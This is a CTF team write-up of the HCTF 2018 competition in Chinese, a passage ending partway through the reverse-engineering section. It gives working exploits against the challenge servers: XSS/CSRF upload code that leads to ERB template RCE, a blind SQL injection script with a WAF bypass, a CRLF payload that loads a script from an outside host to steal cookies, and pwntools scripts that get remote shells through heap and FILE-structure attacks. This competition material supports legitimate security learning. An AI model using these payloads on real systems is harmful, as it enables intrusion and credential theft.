Team: De1ta

首先感谢杭电的师傅们为我们带来了一场精彩的CTF比赛,出题和运维的大佬们都辛苦了!

顺便打个小广告:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

[TOC]

Web

warmup

参考:https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/
在source.php可以看到源码
要使emmm::checkFile($_REQUEST['file'])返回true,利用?截取hint.php,利用/使hint.php?成为一个不存在的目录,最后include利用../../跳转目录读取flag。
payload: hint.php?/../../../../../../../../../../../ffffllllaaaagggg
payload还可以:index.php?file=source.php?/../../../../../../../../../../../ffffllllaaaagggg一个道理

hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

share

打开题目,主页翻译一下可以得到这些信息


是个让用户分享应用的网站,并且管理员可以把应用推给某个用户

/Alphatest可以看到一个filenumber 和自己的uid

/share 可以分享东西给管理员,猜测存在xss,context框传了个段xss代码,发现能接收到admin的请求,bot是PhantomJS/2.1.1,说明能执行js,但是开了httponly打不到cookie,猜测是要CSRF,url框传的东西好像没啥用

根据主页提示可能有源码泄漏,在robots.txt 看到了三个接口的代码

/* this terrible code */
class FileController < ApplicationController
  before_action :authenticate_user!
  before_action :authenticate_role
  before_action :authenticate_admin
  protect_from_forgery :except => [:upload , :share_people_test]

# post /file/upload
  def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
      file = params[:file][:myfile]
      name = Base64.decode64(file.original_filename)
      ext = name.split('.')[-1]
      if ext == name || ext ==nil
        ext=""
      end
      share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
      share.write(Base64.decode64(file.read))
      share.close
      File.rename(share.path,share.path+"."+ext)
      tmp = Sharefile.new
      tmp.public = 0
      tmp.path = share.path
      tmp.name = name
      tmp.tempname= share.path.split('/')[-1]+"."+ext
      tmp.context = params[:file][:context]
      tmp.save
    end
    redirect_to root_path
  end

# post /file/Alpha_test
  def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
      fid = params[:fid].to_i
      uid = params[:uid].to_i
      if(fid > 0 && uid > 0)
        if(Sharelist.find_by(sharefile_id: fid)==nil)
          if(Sharelist.count("user_id = ?", uid.to_s) <5)
            share = Sharelist.new
            share.sharefile_id = fid
            share.user_id = uid
            share.save
          end
        end
      end
    end
    redirect_to(root_path)
  end

  def share_file_to_all
    file = Sharefile.find(params[:fid])
    File.rename(file.path,Rails.root+"/public/download/"+file.name)
    file.public = true
    file.path = Rails.root+"/public/download/"+file.name
    file.save
  end

end

分析一下这段代码,

before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin

首先三个接口都是管理员才能调用

第一个接口/file/upload 能够上传文件
第二个接口/file/Alpha_test 能够分配一个文件给一个用户
第三个是把文件公开,但是没有提供外部调用路由

后面 hint1给了文件结构

views
|-- devise
|   |-- confirmations
|   |-- mailer
|   |-- passwords
|   |-- registrations
|   |   `-- new.html.erb
|   |-- sessions
|   |   `-- new.html.erb
|   |-- shared
|   `-- unlocks
|-- file
|-- home
|   |-- Alphatest.erb
|   |-- addtest.erb
|   |-- home.erb
|   |-- index.html.erb
|   |-- publiclist.erb
|   |-- share.erb
|   `-- upload.erb
|-- layouts
|   |-- application.html.erb
|   |-- mailer.html.erb
|   `-- mailer.text.erb
`-- recommend
     `-- show.erb

hint2给了一个主页的代码
<%= render template: "home/"+params[:page] %>
参考
http://blog.neargle.com/SecNewsBak/drops/Ruby%20on%20Rails%20%E5%8A%A8%E6%80%81%E6%B8%B2%E6%9F%93%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20%28CVE.html
尝试跨目录包含文件失败,应该是只能包含home目录下的文件

hint3给了ruby版本2.5.0
通过查找ruby版本号,结合robots代码,主页代码和目录结构,可以确定要利用的是这个CVE:
CVE-2018-6914: Unintentional file and directory creation with directory traversal in tempfile and tmpdir
大概意思就是在Tempfile 创建文件时如果传入(../)就能创建任意目录或文件
想到可以传个文件到home下,结合主页的文件包含,即可RCE

整个思路就很清晰了:

  1. CSRF 让admin调用/file/upload 接口上传带有恶意文件名的文件
  2. Tmpfile漏洞使得文件生成在/views/home/目录下,但是新生成的文件名有部分是随机的
  3. CSRF 调用/file/Alpha_test 接口把文件分配到自己的id下,在/Alphatest拿到生成的文件名
  4. 主页文件包含,RCE

于是开始了艰难的构造payload
最后上传的payload如下:

<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function upload(i) {
var test=$('meta').eq(1).attr("content");
var url="/file/upload";
  var data="-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"Li4vLi4vYXBwL3ZpZXdzL2hvbWUvZGUxdGF4aXNoaXIuZXJic3MuZXJi\"\x0d\x0a\
Content-Type: application/text\x0d\x0a\
\x0d\x0a\
PCU9IGBjYXQgL2ZsYWdgICU+\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"file[context]\"\x0d\x0a\
\x0d\x0a\
de1ta\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"authenticity_token\"\x0d\x0a\
\x0d\x0a\
"+test+"\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"commit\"\x0d\x0a\
\x0d\x0a\
submit\x0d\x0a\
-----------------------------13025814701038468772945051835\x0d\x0a\
Content-Disposition: form-data; name=\"utf8\"\x0d\x0a\
\x0d\x0a\
✓\x0d\x0a\
-----------------------------13025814701038468772945051835--";
  $.ajax({
   url: url,
   type:"POST",
   headers: {
       "Content-Type": "multipart/form-data; boundary=---------------------------13025814701038468772945051835",
       "Upgrade-Insecure-Requests":"1"
   },
   data:data,
   contentType:false,
   success:function(res){
   },
   error:function(err){
   }
  })
 }
 for(var i=1;i<2;i++)
 {
    upload(i);
 }
</script>

文件内容为

<%= `cat /flag` %>

文件名为

../../app/views/home/de1taxishir.erbss.erb

推送文件到我的uid下的代码为:

<script type="text/javascript" charset="utf-8" src="http://code.jquery.com/jquery-1.11.1.min.js"></script>
<script>
function go(fffid){
  var test=$('meta').eq(1).attr("content");
  console.log(test);
  var params = {utf8:"\xE2\x9C\x93",authenticity_token:test,uid:2,fid:fffid,commit:"submit"};
  var url = '/file/Alpha_test';
$.ajax({
   url : url,
   type : "POST",
   data : params,
   success : function(result) {
   },
   error:function(result){
   }
 })
}

for(var i=1;i<20;i+=1){
  go(i);
}
</script>

这里因为不知道文件id是多少,只能根据前面的filenumber来爆破一下,所以写了个for循环
最后上传上去并获取文件名后,在主页进行文件包含执行命令,读取flag

ps:这道题有个搅shi bug,利用推文件给用户接口,无限暴力推fid到自己的uid下,就能看到别人上传的文件,并且别人就不知道他的文件名是啥了

还有就是js构造一个文件上传太坑了,一开始用new File,一直失败,后面发现是PhantomJS不支持这个h5的类好像,于是硬生生写了个multipart/form-data 出来

flag:hctf{8f4c57063ddb7b106e03e25f7d1bb813}

kzone

打开发现是一个QQ钓鱼站,主页会跳转到空间
http://kzone.2018.hctf.io/www.zip 可以下载到源码
install.sql 文件中有admin密码,admn。
INSERT INTO fish_admin (id, username, password, name, qq, per) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);
不过登陆不上去,密码被改了

审计源码翻到了member.php,发现这边没有addslashes,并且无需登录也可访问

可以看到这段代码从cookie获取了登陆信息,如果符合几个if,就能登陆
想到通过注入 ,union select 替换掉admin_user和admin_pass
尝试构造弱类型绕过:
Cookie: PHPSESSID=s33h9c1u8bq5t0r8s4dura0c76; islogin=1; login_data={"admin_user":"admin'||'1","admin_pass":65}
(一开始没构造出来,然后就转思路去bypass waf了

参考这篇文章
http://blog.sina.com.cn/s/blog_1574497330102wruv.html
虽然他没绕过关键词检测,但是顺着他的思路尝试构造了
\u0075nion,本地测试发现json_decode后变为union,成功bypass waf
构造一个sleep的cookie,放到服务端测试也sleep了,证明此处注入可行

Cookie:PHPSESSID=t0k91etf5fecbi4t25d7hprtm3;islogin=1;login_data={"admin_user":"admin111'/**/\u0075nion/**/select/**/1,2,3,4,5,6/**/from/**/fish_admin/**/where/**/\u0073leep(3)\u003d'1","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}

后面就把所有关键词用这种方法绕过,就能直接注入了,最后flag在 F1444g表的F1a9字段
附上注入脚本

#!/usr/bin/python
#!coding:utf-8#
# xishir
import requests
import time
import datetime

#hctf{4526a8cbd741b3f790f95ad32c2514b9}

ss = "{}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-+"
r = requests.session()
url = "http://kzone.2018.hctf.io/admin/"
#url="http://127.0.0.1/hctf/www/admin/"

union = '\u00'+str(hex(ord('u')))[2:]+'nion'
sleep = '\u00'+str(hex(ord('s')))[2:]+'leep'
ascii = '\u00'+str(hex(ord('a')))[2:]+'scii'
ok = '\u00'+str(hex(ord('=')))[2:]
substr = '\u00'+str(hex(ord('s')))[2:]+'ubstr'
over = '\u00'+str(hex(ord('#')))[2:]
blank = "/**/"
orr = '\u00'+str(hex(ord('o')))[2:]+'r'

flag=""
for i in range(1,50):
    print i
    for j in ss:
        payload = "admin' and (substr((select binary F1a9 from F1444g limit 1),"+str(i)+",1)='"+str(j)+"') and sleep(4) and 1='1"

        payload = payload.replace('sleep',sleep)
        payload = payload.replace('union',union)
        payload = payload.replace('=',ok)
        payload = payload.replace('#',over)
        payload = payload.replace(' ',blank)
        payload = payload.replace('ascii',ascii)
        payload = payload.replace('substr',substr)
        payload = payload.replace('or',orr)

        jsons = '{"admin_user":"'+payload+'","admin_pass":"3b30a11aaba222edd6e704e9959b94643ed4ffd9"}'

        cookie={"PHPSESSID":"t0k91etf5fecbi4t25d7hprtm3",
        "islogin":"1",
        "login_data":jsons}

        t1=time.time()
        r1 = r.get("http://kzone.2018.hctf.io",cookies=cookie)
        t2=time.time()
        #print t2
        if (t2-t1)>4:
            #print "aaaaaaaa"
            flag+=str(j)
            print i,flag
            break

admin

找到源码 https://github.com/woadsl1234/hctf_flask/

有个进程每30秒重置一次数据库


看到strlower函数很奇怪
参考:http://blog.lnyas.xyz/?p=1411
最后解题步骤如下
注册一个ᴬdmin账号
登陆ᴬdmin,发现页面显示Admin
修改密码,退出登录
重新登陆Admin,看到flag

hide and seek

传个zip,会解压缩并且读取
尝试传个链接文件ln -s /etc/passwd test 并压缩上传
读到/etc/passwd

然后就是各种文件读取
在 /proc/self/environ读取到一个好东西

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

然后直接读/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini文件得到

[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

按部就班读取项目文件 /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
得到

# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'
try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

因为有这段

if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))

如果文件里有hctf就返回主页
所以不能直接读flag.py,也没有flag.pyc
后面读index.html发现admin用户登录就能看到flag

{% if user == 'admin' %}
        Your flag: <br>
        {{ flag  }}

想到要读secret,伪造admin的session,发现代码里的secret是伪随机的

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

随机数种子固定为mac地址,读取 /sys/class/net/eth0/address 可以得到
然后带入seed,本地跑一下,登陆admin拿到cookie,再放到网站上就能看到flag了

Game

赛后解出:
http://game.2018.hctf.io/web2/user.php?order=password
这样可以按照密码进行排序
不断注册新用户,密码逐位逐位与admin的密码比较,最后得到admin的密码,比如注册个密码为d的用户

然后按密码排序,发现它在admin下面

然后注册一个密码为e的用户,发现他在admin上面

由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja,登录访问flag.php即可getflag。

bottle

直接参考p总链接即可:
https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

首先发现CLRF

刚开始的时候,CSP是在响应包的上面的,需要想办法绕过CSP。
第二天CSP被设置到响应包下面了。
接下来就简单了,只需要绕过302跳转就可以打到cookie。因为302的时候不会xss。利用<80端口可以绕过302跳转。可以在浏览器手动试一下。

80端口的时候可以发现跳转到了题目的首页

小于80端口的时候可以发现返回了我们构造的响应包下面的内容,这个时候手动访问可以看到打到了cookie。

所以拿着下面这个payload就可以打到cookie了。
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://yourvps/cookie.js%3E%3C/script%3E

改cookie登陆

Misc

easy dump

用volatility看了一下,发现有mspaint进程,把内存dump下来
把mspaint.exe dump下来的内存改名为.data后缀,用gimp打开,调整位移 宽度 高度

flag:hctf{big_brother_is_watching_you}

freq game

FFT different frequency sin
MATLAB: y = importdata(""); 加载样本点
Y = fft(y);
plot(abs(Y));

根据图片查看频率值,对称的四个正弦函数的频率,最高点对应的横坐标减1就是频率
交互8次,即可得到flag

difficult programming language

解压后发现一个pcap包,Wireshark打开发现是USB流量包,简单浏览后发现每帧都有8字节,且仅第一字节和第三字节有数据,猜测是键盘的流量,于是本地自己抓键盘的包试了下:
第一个字节
0x01 ctrl
0x02 shift
第三个字节是按键的键值就不列出了,后面找了下相关资料验证了这个猜想,于是tshark先把每帧的Leftover Capture Data提取出来,然后写个脚本把键值转成字符串,得到一个混杂字母和符号的字符串,根据题目所给“difficult programming language”猜测可能是malbolge语言,找个解释器把解出的字符串丢进去跑一下就得到flag。

代码:

usb_data = open('usbdata.txt')

str_decode = ''

for i in range(422):
    buffer = usb_data.readline()
    cmd = int(buffer[6] + buffer[7], 16)
    if cmd != 0:
        if buffer[1] == '0':
            if 4 <= cmd <= 29:
                str_decode += chr(ord('a') + cmd - 4)
            elif 30 <= cmd <= 38:
                str_decode += chr(ord('1') + cmd - 30)
            elif cmd == 39:
                str_decode += '0'

            elif cmd == 45:
                str_decode += '-'
            elif cmd == 46:
                str_decode += '='
            elif cmd == 47:
                str_decode += '['
            elif cmd == 48:
                str_decode += ']'
            elif cmd == 49:
                str_decode += '\\'
            elif cmd == 51:
                str_decode += ';'
            elif cmd == 52:
                str_decode += "'"
            elif cmd == 53:
                str_decode += '`'
            elif cmd == 54:
                str_decode += ','
            elif cmd == 55:
                str_decode += '.'
            elif cmd == 56:
                str_decode += '/'

            else:
                print('!!!')
        elif buffer[1] == '2':
            if 4 <= cmd <= 29:
                str_decode += chr(ord('A') + cmd - 4)
            # elif 30 <= cmd <= 38:
            #     str_decode += '!!!'

            elif cmd == 30:
                str_decode += '!'
            elif cmd == 31:
                str_decode += '@'
            elif cmd == 32:
                str_decode += '#'
            elif cmd == 33:
                str_decode += '$'
            elif cmd == 34:
                str_decode += '%'
            elif cmd == 35:
                str_decode += '^'
            elif cmd == 36:
                str_decode += '&'
            elif cmd == 37:
                str_decode += '*'
            elif cmd == 38:
                str_decode += '('
            elif cmd == 39:
                str_decode += ')'
            elif cmd == 45:
                str_decode += '_'
            elif cmd == 46:
                str_decode += '+'
            elif cmd == 47:
                str_decode += '{'
            elif cmd == 48:
                str_decode += '}'
            elif cmd == 49:
                str_decode += '|'
            elif cmd == 51:
                str_decode += ':'
            elif cmd == 52:
                str_decode += '"'
            elif cmd == 53:
                str_decode += '~'
            elif cmd == 54:
                str_decode += '<'
            elif cmd == 55:
                str_decode += '>'
            elif cmd == 56:
                str_decode += '?'

            else:
                print('!!!')
        else:
            print('!!!')
            print(buffer)
print(str_decode)

flag:hctf{m4lb0lGe}

Pwn

the_end

有点像0ctf2017-left:

exit会调用dl_fini,里面有一个call,可以去修改ld.so 附近的一个地方,直接填one_gadget get shell

from pwn import *

debug=0

context.log_level='debug'
e=ELF('./libc-2.23.so')

if debug:
    p=process('./the_end')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    gdb.attach(p)
else:
    p=remote('150.109.44.250', 20002)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

if not debug:
    ru('Input your token:')
    se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')

ru('here is a gift ')
base=int(ru(',')[:-1],16)-e.symbols['sleep']
call=base+0x5F0F48
one_gadget=p64(base+0xf02a4)

for i in range(5):
    se(p64(call+i))
    se(one_gadget[i])

print(hex(base))

p.sendline('cat flag>&0')

p.interactive()

flag:hctf{706a09271a59b9e2db1a2d0cf1e40e2073c0a886197f6f3cf3b5d2114fc600d7}

easyexp

clone 了一个子线程,mount 了tmpfs到/tmp那里,再chdir到mount的这个tmp那里,然后sleep 1000000秒之后 结束
设子线程pid=cpid
主线程chdir到 /proc/cpid/cwd/ ,然后在里面创建文件夹和假flag
ls没有限制 / 和 .. 所以可以看所有目录的情况

根据hint提示,要用libc-2.23_9 ,我虚拟机的是libc-2.23_10,然后去找了下change log

发现realpath有一个overflow

所以大概关键就在canonicalize_file_name这个函数这里

https://paper.seebug.org/528/

就是CVE–2018-1000001

(之前就想拿这个CVE来出题........可惜怕被当成kernel题就没敢出
(没复现CVE,现在要去看一遍源码.......

一开始输入名字的时候输入(unreachable),然后在里面创建一个tmp文件,这样就可以绕过realpath 里面的一个检查

利用的话是改chunk size,unsafe unlink,再拿到任意读写,get shell(话说好久没碰到要用unsafe unlink的题,都生疏了..........

payload 如下

from pwn import *

debug=0

context.log_level='debug'
e=ELF('./libc-2.23_9.so')
if debug:
    #p=process('./easyexp')
    p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23_9.so'})
    gdb.attach(p)
else:
    p=remote('150.109.46.159', 20004)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def mkfile(name,content):
    sl('mkfile '+name)
    ru('write something:')
    sl(content)
    ru('$')

def cat(name):
    sl('cat '+name)
    return ru('$')

if not debug:
    ru('Input your token:')
    sl('uvm73jg2AFMECo71DIZRZh39MRqFOI2w')

ru("input your home's name: ")
se('(unreachable)\n')

ru('$')
mkfile('(unreachable)/tmp','a'*0x16+'/')
mkfile('2','a'*0x27)
mkfile('3','a'*0x37)
mkfile('3',p64(0x21)*4)

sl('mkdir ../../../../a\x41')
cat('(unreachable)/tmp')

mkfile('4','a'*0x37)

mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18+1)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x41))

mkfile('5','1'*0x27)
cat('4')
mkfile('6','a'*0x37)
mkfile('6',p64(0x21)*6)
mkfile('7','a'*0x37)
mkfile('7',p64(0x21)*6)
cat('6')
mkfile('77','a'*0x27)
mkfile('77',p64(0x21)*4)


mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))

mkfile('8','/bin/sh')

mkfile('4','a'*0x18+p64(0x603180)+p32(0x200)[:2])
mkfile('4',p64(0x603018)+p32(0x200)[:2])

data=cat('77')
base=u64(data[1:7]+'\x00\x00')-e.symbols['free']
system = base+e.symbols['system']

mkfile('77',p64(system)[:6])
cat('4')

sl('mkfile 99')

print(hex(base))

p.interactive()

flag:hctf{53e3b00dc29b152d1740f042ae4efce199785f7acaa062c21d600e67f811d276}

baby printf ver2

首先利用任意读把libc地址泄漏出来,
然后任意写,写__malloc_hook
再输入%n,报错,报错的时候会调用malloc,get shell

from pwn import *

debug=0

context.log_level='debug'
e=ELF('./libc64.so')

if debug:
    #p=process('./babyprintf_ver2')
    p=process('./babyprintf_ver2',env={'LD_PRELOAD':'./libc64.so'})
    gdb.attach(p)
else:
    p=remote('150.109.44.250', 20005)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

if not debug:
    ru('Input your token:')
    se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')

ru('So I change the buffer location to ')

buffer=int(ru('\n'),16)
pbase=buffer-0x202010

ru('Have fun!')


file = p64(0xfbad2887) + p64(pbase+0x201FB0)
file+= p64(buffer+0xf0) +p64(buffer+0xf0)
file+= p64(buffer+0xf0) +p64(buffer+0xf8)
file+= p64(buffer+0xf0) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0+8) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x200)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x210) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)


se(p64(0xdeadbeef)*2+p64(buffer+0x18)+file+'\n')

ru('permitted!\n')
libc=u64(ru('\x00\x00'))

base=libc-0x3E82A0

malloc_hook=base+e.symbols['__malloc_hook']


sleep(0.2)

file = p64(0xfbad2887) + p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook+8) +p64(pbase+0x201FB0)
file+= p64(pbase+0x201FB0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buffer+0x220)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buffer+0x230) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)


se(p64(base+0x4f322)*2+p64(buffer+0x18)+file+'\n')

sleep(0.5)

se('%n\n')

print(hex(pbase))
print(hex(libc))

p.interactive()

christmas

写shellcode,有seccomp

seccomp 限制了只能执行exit和exit_group 这两个syscall

还限制了只能字母和数字,这个限制可以用alpha3突破(华师非灰也师傅帮忙修好了,能在linux下面跑

程序没开pie,因此能在程序那里拿到libc的地址,然后找libc base

base找到了之后,倒着去搜libflag.so里面bss段的_DYNAMIC

在里面可以找到DT_STRTAB和DT_SYMTAB,然后搜flag_yes_1337,根据偏移再找到
Elf64_Sym 结构体,最后找到flag_yes_1337函数的地址,call一下拿到flag,然后再盲注出来

from pwn import *
import os
import pwnlib.shellcraft.amd64 as sc
import time
context.arch='amd64'

payload=asm(sc.mov('rdi',0x602030))+\
asm("mov rdi,[rdi]") +\
asm(sc.mov('rdx',0x6f690)) +\
asm('sub rdi,rdx')+ \
asm(sc.mov('rbx','rdi')) +\
asm(sc.push(0x6FFFFEF5))+\
asm('''
search:
    push 4
    pop rcx
    mov rdi,rbx
    mov rsi,rsp
    cld
    repe cmpsb
    jz  done
    sub rbx,1
    jnz search 
done: 
''')+\
asm('add rdi,0x14')+\
asm('mov r10,[rdi]')+\
asm('add rdi,0x10')+\
asm('mov r11,[rdi]')+\
asm('sub rdi,0x40')+\
asm('mov rcx,[rdi]')+\
asm('sub rbx,rcx')+\
asm(sc.mov('rcx',0x80))+\
asm('sub rbx,rcx')+\
asm('mov r12,rbx')+\
asm(sc.pushstr('flag_yes_'))+\
asm('mov rbx,r10')+\
asm('''
search:
    push 8
    pop rcx
    mov rdi,rbx
    mov rsi,rsp
    cld
    repe cmpsb
    jz  done
    add rbx,1
    jnz search 
done: 
''')+\
asm('sub rdi,0x8')+\
asm('sub rdi,r10')+\
asm('push rdi')+\
asm('mov rbx,r11')+\
asm('''
search:
    push 3
    pop rcx
    mov rdi,rbx
    mov rsi,rsp
    cld
    repe cmpsb
    jz  done
    add rbx,1
    jnz search 
done: 
''')+\
asm('add rdi,5')+\
asm('mov rdi,[rdi]')+\
asm('add rdi,r12')+\
asm('call rdi')

def generate(idx,c):
    tmp=payload+\
    asm('''
    add al,%d
    xor rbx,rbx
    xor rcx,rcx
    mov bl,[rax]
    add cl,%d
    cmp rbx,rcx
    jz done
    xor rax,rax
    add al,60
    syscall
    done:
    '''%(idx,c))+asm(sc.infloop())

    print(idx,c)
    f=open('alapayload','wb')
    f.write(tmp)
    f.close()

def brute(idx,c):
    debug=0

    #context.log_level='debug'
    context.arch='amd64'
    if debug:
        p=process('./christmas')
        #p=process('',env={'LD_PRELOAD':'./libc.so'})
        #gdb.attach(p)
    else:
        p=remote('150.109.46.159', 20003)

    def ru(x):
        return p.recvuntil(x)

    def se(x):
        p.send(x)

    if not debug:
        ru('Input your token:')
        se('uvm73jg2AFMECo71DIZRZh39MRqFOI2w\n')
    payload='42'
    generate(idx,c)
    a=os.popen('python ./alpha3/ALPHA3.py x64 ascii mixedcase RAX --input="alapayload"')
    payload+=a.read()
    a.close()
    se(payload)
    ru('can you tell me how to find it??')
    start=time.time()
    p.can_recv_raw(timeout=3)
    p.close()
    end=time.time()
    if end-start>2:
        return True
    return False


str='{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+!@#$%^&*()'

#brute(4,ord('{'))
flag='{dyn_15_4w'
for q in range(14,100):
    for i in range(len(str)):
        if brute(q,ord(str[i])):
            raw_input(str[i])
            flag+=str[i]
            print(flag)
            break

flag:HCTF{dyn_15_4w350m3}

RE

Lucky star

找main函数,发现是smc过的,找找其他地方
0040155D和004015CA 调用了了一个反调试函数,把参数0x11改成0
00403148有一段进程名的字符串,全改成0
0040251b调用了另一个反调试函数,把下方的00402521的jz改成jmp
全部改完打个补丁,程序就能正常运行了。
在调用main函数的地方00401C20设下断点,开始调试,断下的时候main函数就解析好了
先播放了一段音频,中间还有sleep,大概一分钟,不相等可以直接把那一段的cmp jz改成cmp jmp

004015E0是加密函数
加密算法如下:
先把输入进行base64加密 a2位base64加密完的
它的base64大小写是反的

v14=0
v19 = strlen(a2);
  if ( v19 > 0 )
  {
    do
    {
      v16 = 6;
      do
      {
        v17 = rand() % 4;
        v18 = v16;
        v16 -= 2;
        result = (_BYTE)v17 << v18;
        a2[v14] ^= result;
      }
      while ( v16 > -2 );
      ++v14;
    }
    while ( v14 < v19 );
  }

可以看到,他对每一个字符异或了四个随机数(先对随机数进行了一些操作),在异或的地方设下条件记录断点,记录下异或的数据,然后反向解密就行了。

解密:

secret=[0x49,0xE6,0x57,0xBD,0x3A,0x47,0x11,0x4C,0x95,0xBC,0xEE,0x32,0x72,0xA0,0xF0,0xDE,0xAC,0xF2,0x83,0x56,0x83,0x49,0x6E,0xA9,0xA6,0xC5,0x67,0x3C,0xCA,0xC8,0xCC,0x05]
